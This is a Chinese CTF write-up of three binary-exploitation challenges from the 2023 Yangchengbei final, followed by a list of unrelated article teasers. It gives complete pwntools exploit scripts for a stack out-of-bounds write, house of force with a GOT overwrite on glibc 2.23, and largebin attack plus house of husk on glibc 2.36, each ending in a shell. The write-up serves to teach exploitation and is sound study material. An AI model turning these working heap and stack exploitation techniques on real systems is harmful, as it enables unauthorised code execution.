2023 羊城杯 final

news2024/11/19 17:40:53

前言

笔者并未参加此次比赛, 仅仅做刷题记录. 题目难度中等偏下吧, 看你记不记得一些利用手法了.

arrary_index_bank

考点: 数组越界

保护: 除了 Canary, 其他保护全开, 题目给了后门

漏洞点:

idx/one 为 int64, 是带符号数, 所以这里存在向上越界,  并且 buf 为局部变量, 所以是栈上的向上越界读写. 

漏洞利用:

1) 越界读泄漏程序基地址绕过 PIE, 泄漏栈地址

2) one 为 BSS 段上的变量, 其在栈的上方, 所以可以越界修改 one 为一个较大的数

3) 将 one 修改为一个较大的数之后, 就可以向下越界写了, 修改返回地址为后门函数地址即可

exp 如下: 由于栈可能不稳定或者其他原因, 成功率并不是 100%, 多打几次

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'> '

def oob_read(idx):
        sla(menu, b'1')
        sla(b'account?', byte(idx))

def oob_write(idx, data):
        sla(menu, b'2')
        sla(b'account?', byte(idx))
        sla(b'much?', byte(data))

#gdb.attach(io, 'b *$rebase(0x00000000000014FD)')
oob_read(-2)
rut(b' = ')
stack = int(rut(b'\n'), 10) - 0x30
info("stack", stack)

oob_read(-1)
rut(b' = ')
base = int(rut(b'\n'), 10) - 0x1327 - 255
backdoor = base + 0x1310
one = base + 0x4010
info("base", base)
info("backdoor", backdoor)
info("one", one)

offset = (one - stack) // 8
print("offset: ", offset)

oob_write(offset, 1000)
sl(b'2')
sl(b'7')
sl(byte(backdoor+8))
#pause()
sl(b'3')
#debug()
sh()

如果题目没有给后门, 可以考虑打 ret2libc, 经过测试在栈的上方存在 libc 地址, 可以用来泄漏 libc. 感兴趣可以自行尝试.

easy_force

考点: mmap分配堆块+house of force

保护: 就开了 Canary 和 NX, 所以可以打 got 表. glibc 为 2.23 (好久没见2.23的题目了, 悲

题目给了 5 次分配的机会, 程序只有这一个功能, 这里每次都会将堆地址打印出来, 并且当分配的堆块大小小于0x30时, 则存在堆溢出.并且申请的堆块大小不存在限制

漏洞利用

泄漏 libc 基址:

        当申请的堆块比较大时如 0x200000, malloc 会从 mmap 映射一块内存, 而其地址一般与 libc 有固定偏移

匿名映射与文件映射区跟栈一样, 从高地址往低地址增长, 所以 mmap 出来的地址一般在 libc 上面

劫持 got 表: 

        存在堆溢出, 没有限制堆块申请大小, 可以泄漏堆地址, glibc 为 2.23 并且没有其他功能, 所以结合题目名字可知道这里得用 house of force

        往 malloc@got 写入 one_gadget 进行 getshell

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'away'
def add(idx, size, data, flag=True):
        sla(menu, b'1')
        sla(b'index?', byte(idx))
        sla(b'want?', byte(size))
        if flag:
                sda(b'write?', data)

add(4, 2097152, b'A\n')
rut(b'the balckbroad on ')
libc.address = int(rut(b' is in use'), 16) + 0x200ff0
info("libc_base", libc.address)

add(3, 16, p64(0)*3+p64(0xffffffffffffffff))
rut(b'the balckbroad on ')
heap_base = int(rut(b' is in use'), 16) - 0x10
info("heap_base", heap_base)

"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
0x4527a execve("/bin/sh", rsp+0x30, environ)
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
0xf1247 execve("/bin/sh", rsp+0x70, environ)
"""
ones = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
ones = [i+libc.address for i in ones]

system = libc.sym.system
malloc_got = 0x0000000000602040

size = malloc_got - 8 * 4 - heap_base - 0x20
add(0, size, b'A\n')
add(1, 16, p64(ones[0]))

add(2, 0, b'', False)

#debug()
sh()

效果如下:

Printf_but_not_fmtstr

考点: largebin attack + house of husk

保护: 只开了 Canary 和 NX, 并且题目给了后门. glibc 2.36

题目实现了一个菜单堆, 有增删查改的功能, 堆块大小限制在 [0x500, 0x900] 之间. 其中删除堆块时, 没有将指针置空, 存在 UAF 漏洞.

但是题目限制了不能修改 stdin/stdout/stderr. 所以常规的 largebin attack 打 IO 的方法就失效了. 并且程序没有正常退出并且没有显式的调用 exit, 所以 house of banana 也打不了.

但是题目给了后门并且 show 里面使用了格式化字符函数, 所以可以打 house of husk.

漏洞利用

1) 先利用 UAF 泄漏 libc_base 和 heap_base. 由于 printf 存在 \x00 截断, 所以可能不成功

2) largebin attack 修改 __printf_arginfo_table 和 __printf_function_table 为堆地址

3) 向对应的 __printf_arginfo_table['s'] 中写入后门函数地址

4) 在 show 即可 getshell

exp 如下: 环境 2.36-0ubuntu4_amd64

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'>'
def add(idx, size):
        sla(menu, b'1')
        sla(b'Index: ', byte(idx))
        sla(b'Size: ', byte(size))

def dele(idx):
        sla(menu, b'2')
        sla(b'Index: ', byte(idx))

def edit(idx, data):
        sla(menu, b'3')
        sla(b'Index: ', byte(idx))
        sda(b'Content: ', data)

def show(idx):
        sla(menu, b'4')
        sla(b'Index: ', byte(idx))

backdoor = 0x00000000004011D6

add(0, 0x610)
add(1, 0x500)
add(2, 0x600)
dele(0)
add(3, 0x700)

show(0)
rut(b'Content: ')
libc.address = addr64(b'\n')

edit(0, b'A'*14+b'XX')
show(0)
rut(b'XX')
heap_base = addr64(b'\n') - 0x290

edit(0, p64(libc.address)*2)
libc.address -= 0x1f7130
info("libc_base", libc.address)
info("heap_base", heap_base)


arginfo = libc.address + 0x1f7890
function = libc.address + 0x1f8980
info("__printf_arginfo_table", arginfo)
info("__printf_function_table", function)

dele(2)
edit(0, p64(libc.address+0x1f7130)*2+p64(heap_base+0x290)+p64(arginfo-0x20))
add(3, 0x700)

pay_0 = p64(heap_base+0xdc0) + p64(libc.address+0x1f7130) + p64(heap_base+0xdc0)*2
pay_2 = p64(libc.address+0x1f7130) + p64(heap_base+0x290)*3
edit(0, pay_0)
edit(2, pay_2)

add(2, 0x600)
dele(2)
edit(0, p64(libc.address+0x1f7130)*2+p64(heap_base+0x290)+p64(function-0x20))
add(3, 0x700)
edit(0, pay_0)
edit(2, pay_2)

offset = ord('s')*8 - 0x10

add(2, 0x600)
edit(2, b'\x00'*offset+p64(backdoor))
show(2)

#debug()
sh()

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1233183.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

谈谈你对mvc和mvvm的理解

MVC和MVVM是软件开发中两种常见的架构模式,各自有不同的优缺点。 MVC(Model-View-Controller)是一种经典的架构模式,将应用程序分为三个部分:模型(Model)、视图(View)和…

buildadmin+tp8表格操作(5)自定义组装搜索的查询

有时候我们会自定义组装一些数据,发送给后端,让后端来进行筛选,这里有一个示例 const onComSearchIdEq () > {// 展开公共搜索baTable.table.showComSearch true/*** 公共搜索表单赋值* 范围搜索有两个输入框,输入框绑定变量…

如何通过数环通,让企业吸引和留住更多优秀人才?

企业招聘员工以及员工入职,不仅仅只是人力资源重要职能之一,它们更是整个企业成功的关键。 市场永远充满竞争,“战争”一直都在,为了赢得胜利,让最优秀的人选加入是最好的选择。但优秀的人才永远不缺机会,市…

基于RFID手持终端的服装门店管理解决方案

一、方案背景 基于RFID技术的RFID手持终端服装门店应用整体解决方案旨在解决服装门店在订单管理、库存管理、盘点和调配等方面面临的问题,该方案利用RFID标签和RFID手持终端设备,实现对服装产品的追踪、扫描、查询和操作,提高管理效率和准确…

循环链表2

循环链表的实现 对于数据结构中所有的结构而言,每一次都是用之前初始化(处理一开始的随机值)一下, 用完销毁(不管有没有malloc都能用,用了可以保证没有动态内存泄漏了)一下 而在C里面&#x…

请简要说明 Mysql 中 MyISAM 和 InnoDB 引擎的区别

“请简要说明 Mysql 中 MyISAM 和 InnoDB 引擎的区别”。 屏幕前有多少同学在面试过程与遇到过类似问题, 可以在评论区留言:遇到过。 考察目的 对于 xxxx 技术的区别,在面试中是很常见的一个问题 一般情况下,面试官会通过这类…

优思学院|现代质量管理实践与六西格玛方法论如何融合?

企业要解决质量问题必然需要涉及管理,然而,如果仅仅将六西格玛法视为一种质量管理方法,必定会导致六西格玛管理法的失败。六西格玛法是一种具有特定战略性的管理方法,它涉及到市场、顾客、产品、服务、流程、质量、价值链以及财务…

【Java】线程状态

1、线程状态 初始-NEW: Thread : 对象已经创建,但start 方法还没调用. 终止-TERMINATED: Thread 对象还在,内核中的线程已经没了 运行-RUNNABLE: 就绪状态(线程已经在 cpu 上执行了/线程正在排队等待上 cpu 执行) 超时等待-TIMED WAITING: 阻塞.由于 sleep 这种固定…

2023年中国羽绒制品需求现状、市场规模及细分产品规模分析[图]

羽绒羽毛指生长在水禽类动物(鹅、鸭)腋下、腹部羽绒和羽毛的统称,属于上游鹅鸭肉食品工业副产品的综合利用,是下游羽绒制品的填充料。根据国家标准,绒子含量≥50%的称为羽绒,绒子含量<50%的称为…

使用 RAFT 的光流:第 1 部分

一、说明 在这篇文章中,我们将了解一种旗舰的光流深度学习方法,该方法获得了 2020 年 ECCV 最佳论文奖,并被引用超过 1000 次。它也是KITTI基准测试中许多性能最佳的模型的基础。该模型称为 RAFT:Recurrent All-Pairs Field Trans…

白炽灯护眼还是LED护眼?眼科专家都推荐的护眼台灯分享

白炽灯和LED灯相比,我认为还是LED灯会更护眼一些。因为LED灯长时间照射,温度也不会变得很高,这就说明了LED灯的散热效果好,安全性高,而且光线散发会比较均匀。 白炽灯是通过发热发光的,大部分能量都转化为了…

深入分析TaskView源码之触摸相关

问题背景 hi,粉丝朋友们: 大家好!android 10以后TaskView作为替代ActivityView的容器,在课程的分屏pip自由窗口专题也进行了相关的详细介绍分析。 这里再补充一下相关的TaskView和桌面内嵌情况下的触摸分析 主要问题点&#xff…

Power Apps-灵活高度库和普通库的区别

点击插入,可以选择布局中的灵活高度库或其他库 两种库同样把item大小设置得比组件排列起来的小 实现效果: 根据实践发现,如果item中组件排列大小超出item本身大小,灵活高度的库会按照组件排列大小自适应高度,其他库则严…

SVN 修改版本库地址url路径

一、win11用户 1. win11系统右链菜单比较优秀,如果菜单中选择“TortoiseSVN”找不到“重新定位”,如下图所示,则需要添加右键菜单: 2.添加右键菜单:选择“TortoiseSVN”,点击设置,如下图所示&a…

qt和window抓包程序

1.思路 使用原始套接字,将网卡设置为混杂模式,监听该网卡的数据。 2. 了解协议封包和协议层 下图是tcp封包详细过程 数据包传输情况 在TCP/IP协议栈中的每一层为了能够正确解析出上层的数据包,从而使用一些“协议类型”来标记,详…

redis的高可用

redis-cli -h 192.168.233.10 -p 6379 redis的数据类型的增删改查 redis的高可用在集群当中有一个非常重要的指标,提供正常服务的时间的百分比(365天) 99.9% redis的高可用含义更加广泛,正常服务是指标之一,数据容量的扩展,数据…

利用Python进行中文分词——实现中文文本处理的基础工具

中文是一种复杂的语言,其词语之间没有明显的分隔符号,这给中文文本处理带来了一定的挑战。为了更好地处理中文文本数据,Python提供了许多优秀的中文分词工具和库。中文分词是将连续的中文文本切分成独立词语的过程,是中文文本处理…

Kubernetes Gateway API 攻略:解锁集群流量服务新维度!

Kubernetes Gateway API 刚刚 GA,旨在改进将集群服务暴露给外部的过程。这其中包括一套更标准、更强大的 API资源,用于管理已暴露的服务。在这篇文章中,我将介绍 Gateway API 资源,并以 Istio 为例来展示这些资源是如何关联的。通…

抖店与维格表的对接只需轻松几步

通过数环通,您可以使用不到几分钟的时间即可实现抖店与维格表的对接与集成,从而高效实现工作流程自动化,降本增效! 1.产品介绍 维格表是一种数据协作工具,具有多维度表格、实时在线编辑、数据可视化等特点。它可以帮助…

数字化转型与企业创新—基于中国上市公司年报的经验证据(2007-2022年)

参照潘红波(2022)的做法,对来自中南大学学报《数字化转型与企业创新—基于中国上市公司年报的经验证据》一文中的基准回归部分进行复刻。文章实证检验数字化转型对企业创新的影响。用年报词频衡量 一、数据介绍 数据名称:数字化转…